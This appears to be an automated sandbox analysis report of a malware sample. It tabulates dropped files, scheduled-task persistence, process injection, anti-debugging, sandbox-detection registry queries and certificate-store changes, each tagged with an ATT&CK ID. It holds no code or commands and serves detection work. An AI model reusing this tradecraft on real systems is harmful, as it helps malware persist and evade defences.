File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_6B69C29B30EAF4FCF9E240B3D6A77FC9	unKyJNO.exe
File opened for modification	C:\Windows\System32\Tasks\gHoidRbic	svchost.exe
File created	C:\Windows\System32\Tasks\ucrVpivlTlXwlAC	svchost.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	unKyJNO.exe
File created	C:\Windows\System32\Tasks\GJlNcuNKEmfKGuMTK2	svchost.exe
File created	C:\Windows\System32\Tasks\BjyVbWVaXyfCTlHuI	svchost.exe
File created	C:\Windows\system32\perfh011.dat	WMIADAP.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeaxplong.exeservices64.exeWindowsAutHost

pid	Process
2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
2772	axplong.exe
2088	services64.exe
2088	services64.exe
2652	WindowsAutHost
2652	WindowsAutHost

Suspicious use of SetThreadContext 5 IoCs

Processes:

file300un.exeservices64.exeWindowsAutHost

description	pid	Process	procid_target
PID 1960 set thread context of 1520	1960	file300un.exe	36
PID 2088 set thread context of 2108	2088	services64.exe	144
PID 2652 set thread context of 1788	2652	WindowsAutHost	173
PID 2652 set thread context of 3004	2652	WindowsAutHost	176
PID 2652 set thread context of 984	2652	WindowsAutHost	179

Drops file in Program Files directory 22 IoCs

Processes:

unKyJNO.exe360TS_Setup.exe360TS_Setup.exe

description	ioc	Process
File created	C:\Program Files (x86)\QtKEgKYoTGTqC\UbSRsyk.xml	unKyJNO.exe
File opened for modification	C:\Program Files (x86)\360\Total Security\config.ini	360TS_Setup.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	unKyJNO.exe
File created	C:\Program Files (x86)\dlfHiRefefjU2\uaLiLKvonEnxo.dll	unKyJNO.exe
File created	C:\Program Files (x86)\dlfHiRefefjU2\cOvwlQc.xml	unKyJNO.exe
File created	C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\TQQnPdf.dll	unKyJNO.exe
File created	C:\Program Files (x86)\360\Total Security\config.ini	360TS_Setup.exe
File opened for modification	C:\Program Files (x86)\1717552892_0\360TS_Setup.exe	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\writeable_test_259531624.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\i18n.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\hsUwQAlMU\aiKoEx.dll	unKyJNO.exe
File created	C:\Program Files (x86)\hsUwQAlMU\McBrQul.xml	unKyJNO.exe
File created	C:\Program Files (x86)\QtKEgKYoTGTqC\FhkdXaD.dll	unKyJNO.exe
File created	C:\Program Files (x86)\ZEkGlaTFWGUn\hiilsay.dll	unKyJNO.exe
File created	C:\Program Files (x86)\1717552892_0\360TS_Setup.exe	360TS_Setup.exe
File opened for modification	C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini	360TS_Setup.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	unKyJNO.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	unKyJNO.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	unKyJNO.exe
File created	C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\aKKilsg.xml	unKyJNO.exe
File opened for modification	C:\Program Files (x86)\360\Total Security\i18n\i18n.ini	360TS_Setup.exe

Drops file in Windows directory 18 IoCs

Processes:

jergs.exewusa.exeWMIADAP.EXEsvchost.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exewusa.exe

description	ioc	Process
File opened for modification	C:\Windows\Tasks\ddlsvjm.job	jergs.exe
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File created	C:\Windows\inf\WmiApRpl\0009\WmiApRpl.ini	WMIADAP.EXE
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File opened for modification	C:\Windows\Tasks\btZaCbGShXZoJDfvCg.job	svchost.exe
File created	C:\Windows\Tasks\ZTNkTKukmvvbOMPkn.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\ZTNkTKukmvvbOMPkn.job	svchost.exe
File opened for modification	C:\Windows\Tasks\ucrVpivlTlXwlAC.job	svchost.exe
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File created	C:\Windows\Tasks\btZaCbGShXZoJDfvCg.job	schtasks.exe
File created	C:\Windows\Tasks\ddlsvjm.job	jergs.exe
File opened for modification	C:\Windows\Tasks\ddlsvjm.job	svchost.exe
File created	C:\Windows\Tasks\ucrVpivlTlXwlAC.job	schtasks.exe
File created	C:\Windows\Tasks\BjyVbWVaXyfCTlHuI.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\BjyVbWVaXyfCTlHuI.job	svchost.exe
File created	C:\Windows\Tasks\axplong.job	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	Process
2660	sc.exe
2404	sc.exe
2424	sc.exe
1160	sc.exe
1324	sc.exe
1684	sc.exe
2856	sc.exe
1376	sc.exe
2584	sc.exe
1760	sc.exe
3048	sc.exe
1296	sc.exe
284	sc.exe
2196	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
1248	2896	WerFault.exe	31
2712	1732	WerFault.exe	44
1264	1484	WerFault.exe	48
2168	2052	WerFault.exe	87
3972	536	WerFault.exe	47
3664	1488	WerFault.exe	314

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	Process
3444	schtasks.exe
4020	schtasks.exe
3412	schtasks.exe
2416	schtasks.exe
3380	schtasks.exe
2952	schtasks.exe
1160	schtasks.exe
2848	schtasks.exe
3328	schtasks.exe
3476	schtasks.exe
1768	schtasks.exe
2736	schtasks.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exewmiprvse.exeInstall.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

unKyJNO.exekFYCrwb.exewscript.exepowershell.exepowershell.exerundll32.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	kFYCrwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	kFYCrwb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d03e8311ecb6da01	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d\WpadDecisionTime = 90085240ecb6da01	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	unKyJNO.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	unKyJNO.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	unKyJNO.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E87A428-798C-4E5F-B890-657F5DAF008D}\fe-99-13-52-c7-4d	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d\WpadDecisionReason = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	kFYCrwb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	unKyJNO.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	kFYCrwb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d\WpadDecision = "0"	unKyJNO.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 010000000000000050984011ecb6da01	kFYCrwb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	unKyJNO.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E87A428-798C-4E5F-B890-657F5DAF008D}\WpadNetworkName = "Network 3"	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	unKyJNO.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E87A428-798C-4E5F-B890-657F5DAF008D}\WpadDecisionReason = "1"	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	unKyJNO.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	unKyJNO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	unKyJNO.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fe-99-13-52-c7-4d\WpadDecisionTime = 90085240ecb6da01	rundll32.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

unKyJNO.exe360TS_Setup.exe

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	unKyJNO.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	unKyJNO.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	360TS_Setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	360TS_Setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	unKyJNO.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeaxplong.exepowershell.exeArgXI9tgNtUY9VkmvL1KS89U.exepowershell.exepowershell.exeredline123123.exejergs.exepowershell.exepowershell.EXEservices64.exepowershell.exedialer.exeWindowsAutHost

pid	Process
2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
2772	axplong.exe
376	powershell.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
2660	powershell.exe
2660	powershell.exe
2660	powershell.exe
2444	powershell.exe
2272	redline123123.exe
2272	redline123123.exe
2272	redline123123.exe
1592	jergs.exe
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
2488	powershell.EXE
2488	powershell.EXE
2488	powershell.EXE
2088	services64.exe
2088	services64.exe
568	powershell.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2088	services64.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
